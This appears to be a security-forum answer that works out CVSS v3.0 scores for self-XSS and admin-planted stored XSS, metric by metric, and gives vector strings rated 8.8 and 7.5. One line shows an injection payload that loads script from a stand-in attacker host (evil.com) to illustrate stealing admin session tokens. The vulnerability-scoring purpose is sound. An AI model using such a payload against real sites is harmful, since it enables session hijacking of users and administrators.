The question actually contains two scenarios: A low-privilege user XSS'ing themselves, and a high-privilege user XSS'ing a low-privilege user.

Low-Privilege "self-XSS"

Self-XSS is often seen as "not an issue", although this is short-sighted. While it may not obviously be an issue, you never know if requirements change.

For instance, if the user can create an XSS on their own profile, which is only visible to them, you might think it's not an issue. A year later, functionality is implemented that allows admins to view a profile, and suddenly you have an XSS that steals session tokens from admin accounts.

In order to rate the CVSS score, let's analyze each category:

• Attack Vector (AV): This is undoubtedly "Network (N)". The attacker does not need to have direct server access to do it.
• Attack Complexity (AC): This depends on your specific scenario, but usually the complexity is rather low. To quote:

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

In other words, if the attacker enters "><script src="//evil.com/payload.js, then the payload will get injected every single time.

• Privileges Required (PR): This part is frequently debated. If an attacker needs a user account, but all they need to do to get a user account is to create one, then does that really lower the metric? Some people say that PR describes the privileges they need to obtain from the defender, either by stealing credentials or by exploiting a vulnerability to execute actions as a privileged user. Others say that it's only about the fact that a user needs privileges, regardless whether or not these privileges are easy to obtain.

I personally belong to the former category, so I would rate this as "None (N)", although I understand people who argue this as "Low (L)". Note that I created a question on this topic as well.

• User Interaction (UI): Yes, the admin needs to visit the profile of the attacker in order for the attack to be successful.

• Scope (S): In this case, the scope changed, as the vulnerable component is the web server, while the impacted component is the victim's browser. This reasoning is taken from the CVSS v3.0 Example.

• Confidentiality (C): Again, this depends on how you see it. I personally would argue that the loss of confidentiality is "High (H)", as gaining access to an admin's session token is quite a serious breach.

• Integrity (I): I personally would argue that the impact is "Low (L)". While the attacker can indeed use their payload to modify the site, this is usually not the goal of an XSS attack.

• Availability (A): Again, I would argue to set this to "Low (L)". An attacker could craft a payload that would just keep redirecting the user away from the site, thus affecting availability, but this is usually not the goal.

If we add all of this together, we get the following vector string:

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L - 8.8 (High)

High-Privilege XSS

Instead of assuming that a user would "trap" their own profile, let's instead assume that an admin would modify the profiles of every user, thus if any user would look at their own profile, the payload would trigger.

The only thing that really would change is Privileges Required (PR), which would be set to "High (H)".

This would result in the following vector:

CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L - 7.5 (High)

By looking at these results, you can see that CVSS does not take likelihoods into consideration, which some might consider a flaw, but this is out-of-scope for this question.

Now to answer some of your questions:

• Do we need to assume that the malicious data is already stored in the database, or not?

  CVSS does not ask you where data is stored. This has no bearing on the score.

• If we assume so, the CVSS score will increase, since the complexity of getting the XSS payload into the database is not considered.

  Again, the score depends on the chosen vectors. None of these are regarding where the data is stored.

• If not, due to the complexity as well as high-privileges required in performing a stored XSS attack (without just being a self-XSS), the CVSS score will decrease.

  High required privileges will decrease your score, but not by that much. Even when an administrative account is required, a simple XSS vulnerability is considered a 7.5.